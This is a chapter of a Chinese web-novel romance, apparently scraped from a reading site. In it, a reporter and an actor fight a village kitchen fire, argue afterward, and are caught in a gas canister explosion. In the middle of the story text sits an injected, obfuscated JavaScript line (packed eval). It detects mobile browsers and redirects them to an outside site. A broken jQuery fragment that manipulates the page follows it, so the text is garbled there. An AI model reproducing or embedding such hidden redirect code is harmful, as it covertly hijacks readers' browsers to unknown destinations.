41. 41. 延音

作品:《穿到三年后成了死对头老婆

    事发突然,陈疏音被电流击了一道似的,迈腿跑进院子,几行人来往交叠着拿出院子里可装盛的工具去蓄水的大桶里打水。


    老人家生活原始单一,用的还是手动摁压式压水器,几位摄影平日都是抗设备剪辑,脱离农村生活许久,找不到水龙头,都急得东张西望。


    老房子大部分是木材建设,厨房里更是堆满了近天花板的从山上一点点搬下来的干木头。


    陈疏音从半开的门里看见耀眼的火光,一小团一小团邪恶地蹿高,似在和弱小无力的人们发起挑衅。


    她紧忙找到手头最近的一个器皿递到一个工作人员手中,咽了口气让保持冷静,“房子全是木头造的,蔓延起来按这个趋势根本灭不了,你赶紧打消防电话,我去旁边借一根水管接别家的水龙头过来。”


    “好好好,还需要我做什么吗?”


    陈疏音跑出去一步折回,往燃起的厨房深望了眼,裴郁里外奔走传送东西的身影一闪而过,“救火要紧,保全性命。”


    老人家哭天喊地的声音悲怆可怜,看着几分钟内飘大的火花,挥着双手发狠地锤向大腿,“我几十年的家业啊,一砖一瓦辛辛苦苦盖起来的。小伙子,里面还有我的鸡崽和鸭崽,快过冬了,我怕他们冷,特地把窝移到了厨房,我还要靠着他们长大了卖钱,请你一定都给我抱出来。”


    火是从灶台的烧材处燃起。


    孤单营生几十年,被节目组选中,拿到一笔不菲的酬金,老人家高兴得一宿没睡,用最朴素又崇高地敬意杀了几只养了一年的鸡鸭准备犒劳他们。


    生火时棉裤勾到了引火的干松针,随迈出的脚步接连挂到了一旁的木柴堆上,火星子未断,干燥的木头枝被点起,咔哒咔哒地往里烧。


    他背身切菜,丝毫没注意到身后的动静,闻到烧焦味再回头时,火已经在木堆里燃起来了。


    他看着起早贪黑去山里捡出的柴火,他留着过冬用的柴火,转眼就化为被风一吹就亮起红色余温的黑色木炭,两行热泪从眼褶处滑落,两双起茧的老手呜呜地捧住脸,孩子一样悔恨地哭起来。


    灰烟像一道妖气从内蹿出,裴郁安抚他,“老人家,你别心急,我刚刚已经拨打了火警电话,消防车一会儿就来了,你身体要紧,赶紧出去吧。”


    “不行,我要救火。”老人家不管不顾地坚持己见,“我就算是同归于尽,也不能看着我的房子眼睁睁在我面前烧没。”


    他转身跑到压水井旁,吭哧吭哧地上下催动着压水器,有水声咕噜噜地响,细小的水流从出水口流下,“快来接水!”


    “裴老师,你要不要先出去,我感觉火有点控制不住了。”陆续跑进的工作人员喊住他,“还是等消防员来吧。”


    “好,麻烦你先疏散掉周围的人,去邻里通报一声,让他们都开阀冲水,以防火烧到他们那边,造成更严重的损失。”裴郁有条不紊地指挥着,手头的泼水动作却没停。


    “那你呢?”


    “我把这些搬出去就出来。”裴郁指着眼前笼子里被烟熏得叽叽喳喳叫个不停的鸡仔,又接过一盆水泼向火根,“陈疏音走了没有?”


    “我看到她跑出去了。”


    裴郁肃正的脸色松懈了一秒,又忙碌起来。


    “水来了!”陈疏音把跑了几家借到的所有水管都接到一起,从几十米外引水过来,强大的水压喷出,她跑入厨房,对准火焰根部直冲。


    呛人的烟雾冲入口鼻,火已经把整个厨房烧着,只留一个出口,她咳嗽着喊:“裴郁,水管的出水量灭不掉火,你去借灭火器。”


    他俊逸干净的脸上扑满了灰,浑身上下没一处能看,从她手里拿过水管,不畏火芒往里走,“这里烟太大了,你去。”


    “你想死吗?出来!”陈疏音叫住他,音色颤抖,入鼻的烟阻碍氧气的顺畅通入,她呼吸起伏变得急促,“我经历过的火灾比你多,比你有经验,这时候听我的!”


    被茅草铺满的尖顶支柱被火烧断,从中塌下来,一根带火的木头砸下来,在两人中间划开一道分界线。


    他侧目冷声赶她,“走。”


    老头的哭闹的声音从外飘进来,有风把无形高温吹得左右晃动,陈疏音额头冒起汗,视觉变得朦胧,在他孤傲执着的轮廓下妥协,“好,我去,如果我回来前你要是死了,我做鬼都不会放过你。”


    她捂住口鼻俯身跑出去,拨开看手足无措的人群,在安静点的空处喊:“谁家有灭火器,麻烦借出来,之后我还你十个!”


    有人听到她的话跑出来,“我家有!”


    “还有人有吗?越多越好!”


    “我家也有!”


    紧接着,越来越多的人高喊。


    陈疏音涌出一点希望,心却悬而未下,“麻烦各位带路。”


    其中一个男人家就在附近,拿到灭火器不过两分钟,他跟在陈疏音身后跑回,存疑地问:“你会用吗?”


    她把头发扎在脑后,视觉效果上看身形被拉得更为高挑,细胳膊细腿,乍一看身上没什么肉,一开始他都不想把灭火器给她,怕浪费。


    陈疏音没精力回应他的质疑,双手麻利地拔掉保险销,一手握住喷射软管前端控好管嘴,按下压把对准火苗底部喷出。


    她熟练的操作、标准的姿势和正确的使用方法让人惊乍。


    “唰——”


    白气冲出,烧到房外的烟被一管灭火器灭掉一段火,风一吹,没几秒,又烧起来。


    跑回家拿灭火器的人前脚接后脚地把灭火器交给陈疏音,各家各户储备不多,收到手里的拢共四五瓶。


    她一瓶接一瓶地用完,灭而复生的火一次次击垮她的心理防线,她的双目被热光辣得留下生理性眼泪,“没用,消防员什么时候到?”


    “到镇上了。”


    “裴郁还在里面吗?”手中用掉的灭火器砸在地上,她无能为力地看着被火封住的大门,不好的预感爬着她后背,凉意渗透,瞬间冷了大半。


    摄影语无伦次,“他……他把老头推出来后门檐掉下来烧起来了,刚刚还看得到他,现在火烧得太大,看不见了……”


    陈疏音攥紧衣角,一遍遍地安慰自己。


    不会的,她能改变当时的火灾,就一定能逆转现在的局势。


    消防车随后赶到,人员被退到外线,摄影拉她手臂,“陈记者,你先出来吧,有消防员在,他肯定没事的。”


    陈疏音恍惚地摇头,被搀着酸软无力地带出来,仰着头看喷射口,失控地冷笑出声。


    生死存亡的时候,上次救狗,这次救人,他怎么那么爱发善心呢?


    别人的命重要,他的命就不当命了?


    裴郁,你还真是十年如一日地在乎自己外在的面子,你真以为你是九尾狐,有九条命可以嚯嚯是吗?


    摄影发愣地瞟向陈疏音的侧脸,她刚刚是笑了吗?


    他们是有什么深仇大恨,要笑眼期待对方牺牲吗?


    他同情裴郁,低落地说:“陈记者……你犯不着这样吧?”


    陈疏音眼眶内被烟辣得狂眨眼,揪着衣摆成拳,无法说出的话堵在喉管,闭眼轻声,“你不会懂。”


    “对,里面还有一个人。”门边火势被控,几个消防员弯身进去,陈疏音的手指抠得更深。


    她发直的眼目不转睛地盯着出口处,整个人像被左右扭成一个麻花,绷得越来越紧。


    一分钟后,一个披着湿床单的男人被人两侧抬着手臂走出来,他垂着头,步子漂浮散乱,状态不定。


    陈疏音从人群的缝隙里钻进去,波荡的眩晕感还未消失。


    消防员把他轻放在地,她上前揭了那层老式花床单,“裴郁,睁眼。”


    他嘴唇干裂,口鼻进了不少烟灰。那张攻击力极强的脸此时安稳地闭上了发挥主力的眼睛,安顺得像他养的那条狗熟睡的样子。


    医生上前检查,“还有呼吸。”


    看着医生专业有序的急救措施,陈疏音退开一步缓缓蹲下身,似乎一天的力气都在这一刻用尽。


    “咳——”


    “身上没有什么很深的伤口,小臂轻微烫伤,这些天别碰水。”


    摄影如数围上去,山上赶来的其他人急急忙忙地下了车,问候的问候,帮忙的帮忙,陈疏音被堵在人墙外,一切都与她无关了。


    也好,省得她操心。


    他自己要逞能,都是他活该。


    后续有人接手处理,陈疏音跟上节目组的商务车上山回到山庄。


    裴郁以节目没拍完,不能因为他一个人中断为由,留在楼上休养。


    夜间探视的人不断,有人端茶倒水照顾得无微不至。


    陈疏音听见一旁房间里传来热络的交流声,盘腿坐在地上的毯子上,捏着他的黑发绳发呆。


    “谢谢各位,我没什么事,明天可以照常拍摄。你们都请回吧。”裴郁在里一层外一层的人里晃视,低下眼,音色冷沉。


    “导演,老人家的赔偿,希望你能做到位。”裴郁看了周启一眼。


    周启立即把一张卡送上,“密码是456654,里面的钱够帮他重新建一套小洋楼。”


    他话不说得太明,导演却心知肚明,拿了卡走人,“放心。”


    “我听说起火时就他一个人在厨房,你进去前火已经烧起来了,你差点死在里边,怎么还撒钱?”周启抱不平道。


    “他是因为我们来拍摄才去厨房备菜做菜,没有我们,他的生活不会被打扰。”裴郁捏着眉心,不想多言,“辛苦你盯着他们把这事落实。”


    周启点头,“那我走了,有事随时叫我。”


    “陈记者?”周启推开门,差点撞上门外的陈疏音,“你怎么现在才来?裴哥他可能要休息——”


    “让她进来。”


    老板的话就是懿旨,周启让步给陈疏音位置进门,直身下楼。


    “还以为你不会来了。”裴郁躺靠在床头,笑得牵强,说话时带着几声咳嗽,一八七的个在此刻在她面前像个直不起身的矮子。


    是可以嘲笑他的好时机,陈疏音笑不出来。


    “你命挺大。”她冷面毒嘴,简短四个字就戳他心肺。


    裴郁笑容凝滞了刻,马上开起玩笑,“那当然,我出生的时候算命先生算过,我命有天德,能逢凶化吉。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132717|162635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈疏音讨厌他拿命理作搪塞,“所以你就可以肆无忌惮地拿命去试验了?”


    “你在在意我啊?”裴郁仰着头,优越的面部折叠度让他这个角度看起来帅得更有层次。


    “我在意的是,你为什么非要把我推出去。”陈疏音一瞬不瞬地睨着他。


    他那么有心机又那么聪明,不可能预判不到火势的走向。死了让她内疚吗?


    他举起双手被降服,被她拷问似的问话端正了脸色,“我可没食言啊。”


    陈疏音梗着喉,清晰流利的吐字水平在这变得无比艰难,“你知不知道,你让我很有心理压力。”


    “我咒骂了你,好,我认,重来一次,我找人查消防漏洞,举报整改,让剧组各个角落安上灭火器,学消防知识。”陈疏音捏着衣摆的边,句句哽咽,她□□的情绪总会在他面前崩塌,“你为什么安全意识还是这么薄弱?”


    她前言不搭后语,裴郁理清她的话需要一点时间,被她的哭腔揪着心脉,“你、你先别哭,老爷子最在意的就是这几间房子,我是有把握能等到救援,才留下。”


    “让你在那,随时可能会发生爆炸,我根本没法第一时间赶到救你——”


    “不要你救,管好你自己。”陈疏音把烫伤膏扔在他床上,背身就走,“你该明白,我不想欠你。”


    次日的任务统一安排到了下午,节目组准备了食材和烧烤架为裴郁和陈疏音的救人救火英勇事件庆祝。


    算是私下聚餐,拍摄停止,不用面对镜头,大家都很放松。唯独裴郁和陈疏音两位主角姗姗来迟,兴致低迷。


    导演笑着把陈疏音拉到中心,“陈记者昨天啊,反应和控场能力都很强,有人拍了你的视频发到网上,收获了一致好评呢。说你是最美记者!”


    陈疏音瞄了圈烧烤设备,她平心静气地提醒,“刚灭了场火,就别做这种有火的活动了,据我所知,别墅里没有任何灭火设备。”


    “诶,你多虑了,哪有那么巧合的事情。你说是吧裴郁。”导演把话尾交给裴郁。


    裴郁站在中心位,手臂袖子翻起,绑着白色绷带,若隐若现的肌肉线条尤然不驯,墨黑的瞳仁被低下的眼睑盖住大半,但仍看得出他对这番做法的不悦,“我同意陈疏音的说法,这时候我们该做的是去借助拍摄的契机给全镇宣传消防意识,讲解消防知识和演示操作,必要时候,请消防队来组织演练。而不是在这里潇洒埋隐患。”


    导演不当一回事地笑,“那是政府要做的事,跟我们有什么关系,你们俩一唱一和,跟小夫妻似的。”


    这个导演只是录制导演,论话语权的还得去找瞳瞳妈妈,陈疏音拿起手机到一旁进行联络。


    裴郁跟在一旁,靠着墙凝思。


    “算了,不管他们,我们继续。”导演指挥着,摄影把一罐煤气罐搬下车,罐身重压在肩,他跨步被别墅的台阶绊了一脚,正面直摔而下,手头的罐子脱手,砸在地上往正中滚。


    三两个人正蹲在地面擦着火柴准备点火烤红薯,那煤气罐往火源滚动。


    陈疏音和裴郁一并看去。


    糟糕!


    “砰——”


    剧烈的爆破声把整个花园炸开,他们作为离得最远的人也无法幸免。


    关键时刻,陈疏音被一侧向外的猛力拉了一把,正对着扑摔到水泥地上时痛得五脏六腑都快吐出来了。


    她趴在地上,头脑发震,艰难地转过头看到不远处的裴郁。


    看得出他受伤不浅,靠脸吃饭的侧脸被刮了一道血口,他掌着地面起身,步调不稳地挪到她身边,朝她伸出手,“还有二次爆炸的可能,先跑远点。”


    他裤脚和上身衣物被火烧破,颈侧还有一大片红痕,膝盖上被血洇湿。


    陈疏音周身发软,隐约的灼痛感刺激着后背,她微弱地摇头,“不要管我了,外婆,你多帮我照看她一下——”


    她交代后事的说辞让人生起一股无名躁意,裴郁把她下坠的身体搂入胸膛,“她又不是我亲外婆,你以什么身份求我?”


    “裴郁,她对你很好。”


    “那你呢?”


    “你不要这时候还斤斤计较,好小气……”


    裴郁扶着她起来,把两条胳膊搭他肩上,“别说废话,不救你,我独活也要和你结冥婚,你不是说做鬼也不会放过我吗?”


    他伸入外套内袋,把戒指盒拿出来,拨开送到她眼前给她看,“时间有些仓促,但是按你喜欢的款式做的。”


    “要好好活着,跟我结婚,陈疏音。”


    烧伤的痛后知后觉钻入骨肉,陈疏音靠在他胸口,恢复了点力气,被他支起身,“先给你看看,节目过后我再正式跟你求婚,所以,别一心寻死,我不能当鳏夫。”


    她没心情和他甜言蜜语,痛蔓延到五感,已经说不出话来了,他看起来比她更严重多了,怎么还能这么啰嗦。


    戒指盒被塞到她口袋,他揽住她肩往前迈出几步,又是一声巨响!


    “砰!”


    陈疏音后背受力,惯性往前趔趄几大步,顺着下坡倒下往下滚,恍惚间,火光滔天,他一同泯灭其中。